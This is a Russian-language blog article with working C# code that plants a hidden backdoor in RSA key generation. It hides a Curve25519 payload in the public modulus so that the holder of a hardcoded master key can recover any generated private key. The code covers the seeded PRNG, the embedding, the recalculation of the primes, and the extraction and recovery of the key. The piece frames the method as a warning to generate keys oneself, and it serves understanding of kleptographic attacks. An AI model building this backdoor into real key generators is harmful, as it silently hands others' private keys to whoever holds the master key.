Встраиваем бэкдор в публичный ключ RSA

Привет, %username%!
Когда я увидел, как это работает, сказать, что я был в шоке — ничего не сказать. Это довольно простой трюк но после прочтения этой статьи вы больше никогда не будете смотреть на RSA по-прежнему. Это не взлом RSA, это нечто, что заставит вашу паранойю очень сильно разбухнуть.


Итак, представьте, что у вас есть доступ к генератору ключей RSA и вы хотите в дальнейшем дать кому-то возможность узнавать закрытый ключ безо всяких факторизаций и прочих квантовых компьютеров. Что нам для этого понадобится?

Я буду сразу же бросаться кодом на C#, который использует BouncyCastle и Chaos.NaCl (эта библиотечка реализует Curve25519)

1) PRNG

Нам нужен ГПСЧ, который инициализируется секретным значением. Будем использовать AES s режиме CTR

Код ГПСЧ

using System;
using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;

namespace RsaBackdoor.Backdoor
{
	class SeededGenerator:IRandomGenerator
	{
		private readonly AesFastEngine _engine = new AesFastEngine();
		private readonly byte[] _counter = new byte[16];
		private readonly byte[] _buf = new byte[16];
		private int bufOffset = 0;

		public SeededGenerator(byte[] key)
		{
			_engine.Init(true, new KeyParameter(key));
			MakeBytes();
		}

		private void MakeBytes()
		{
			bufOffset = 0;
			_engine.ProcessBlock(_counter, 0, _buf, 0);
			IncrementCounter();
		}

		public void IncrementCounter()
		{
			for (int i = 0; i < _counter.Length; i++)
			{
				_counter[i]++;
				if (_counter[i] != 0)
					break;
			}
		}

		public void AddSeedMaterial(byte[] seed)
		{
			
		}

		public void AddSeedMaterial(long seed)
		{
			
		}

		public void NextBytes(byte[] bytes)
		{
			NextBytes(bytes, 0, bytes.Length);
		}

		public void NextBytes(byte[] bytes, int start, int len)
		{
			var count = 0;
			while (count < len)
			{
				var amount = Math.Min(_buf.Length - bufOffset, len - count);
				Array.Copy(_buf, bufOffset, bytes, start + count, amount);
				count += amount;
				bufOffset += amount;
				if (bufOffset >= _buf.Length)
				{
					MakeBytes();
				}
			}
		}
	}
}

2) Вспомним про замечательную Curve25519, а именно тот факт, что любая 32байтная последовательность является для неё валидным закрытым ключом, а открытый ключ получается тоже всегда 32 байта.
Заранее сгенерируем мастер ключ и запишем его куда-нибудь в константу.

        private const string MY_PUBLIC_STR = "06F1A4EDF328C5E44AD32D5AA33FB7EF10B9A0FEE3AC1D3BA8E2FACD97643A43";
        private static readonly byte[] MY_PUBLIC = StringToByteArray(MY_PUBLIC_STR);

        private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
        private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

Для каждой ключевой пары RSA, которую мы будем генерировать, мы так же будем генерировать случайную ключевую пару Curve25519, а потом считать общий секрет от закрытого ключа этой пары и нашего открытого. Этот секрет будет ключом для нашего ГПСЧ из п.1

Генерация seed для ГПСЧ

		private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
		{
			var rnd = new SecureRandom();
			var priv = new byte[32];
			rnd.NextBytes(priv);
			payload = MontgomeryCurve25519.GetPublicKey(priv);
			seed = MontgomeryCurve25519.KeyExchange(MY_PUBLIC, priv);
		}

открытый ключ Curve25519, который мы в дальнейшем используем для вычисления seed — это «полезная нагрузка» или payload. Мы будем пытаться запихнуть его в открытый ключ RSA

3) Генерируем ключевую пару RSA, используя этот ГПСЧ и наш seed.

			var publicExponent = new BigInteger("10001", 16);
			var keygen = new RsaKeyPairGenerator();
			keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
			var pair = keygen.GenerateKeyPair();

Здесь стоит напомнить, что основа ключей RSA — это всегда два простых числа p и q. Их произведение называется «модуль» и является частью открытого ключа. В данном случае при помощи нашего ГПСЧ ищутся два числа размером 2048 бит и далее из них конструируется ключевая пара.

4) Берем модуль p*q и заменяем в нем часть байт на наш payload. Возьмем байты постарше, чтобы их не перетёрло в дальнейшем. Смещение в 80 байт должно сработать.

			var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
			var modulus = paramz.Modulus.ToByteArray();
			Replace(modulus, payload, 80); // 80 - это смещение

4) У нас теперь есть новый модуль n', Нужно перегенерить остальные параметры с учетом нового n', а именно:

4.1) Считаем новую q'. У нас на данном этапе она будет черт пойми чем, но это не страшно
q' = n' / p
4.2.) От новой q' ищем новое простое число. Когда мы его найдем, нижние биты будут перетёрты. Но верхние останутся такими же. Это то, чего мы добивались.

			var p = paramz.P;
			var n = new BigInteger(modulus);
			var preQ = n.Divide(p);
			var q  = preQ.NextProbablePrime();

После того, как у нас есть новая q, мы считаем все параметры ключевой пары, кроме, p, заново.

		public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
		{
			if (p.Max(q).Equals(q))
			{
				var tmp = p;
				p = q;
				q = tmp;
			}

			var modulus = p.Multiply(q);

			var p1 = p.Subtract(BigInteger.One);
			var q1 = q.Subtract(BigInteger.One);
			var phi = p1.Multiply(q1);
			var privateExponent = publicExponent.ModInverse(phi);
			var dP = privateExponent.Remainder(p1);
			var dQ = privateExponent.Remainder(q1);
			var qInv = q.ModInverse(p);

			var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);

			return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
		}

И в итоге получаем валидную ключевую пару, в публичном ключе которой скрылся наш Payload — а именно, информация о том, как получить seed, а затем и вожделенный закрытый ключ.

Мы можем извлечь Payload

		public byte[] ExtractPayload(RsaKeyParameters pub)
		{
			var modulus = pub.Modulus.ToByteArray();
			var payload = new byte[32];
			Array.Copy(modulus, 80, payload, 0, 32);
			return payload;
		}

Вычислить seed и прогнать процесс заново, чтобы получить закрытый ключ

		public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
		{
			var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
			return BuildKey(seed, payload);
		}

Таким образом, только мы, владея закрытым ключом Сurve25519 можем вычислить закрытый ключ любого забекдоренного нами RSA ключа.

Где это можно применить? Да где угодно. Вы никогда не докажете, что в ключевых парах, выдаваемых вам банками и другими неконтролируемыми вами источниками нет таких закладок. Определить наличие такой закладки невозможно! Поэтому старайтесь генерировать их сами софтом, который знаете как работает.

Сорцы для поиграть тут

Upd:

Поправил код, теперь по-честному для внедрения нужен наш открытый ключ, а достаем мы seed с помощью закрытого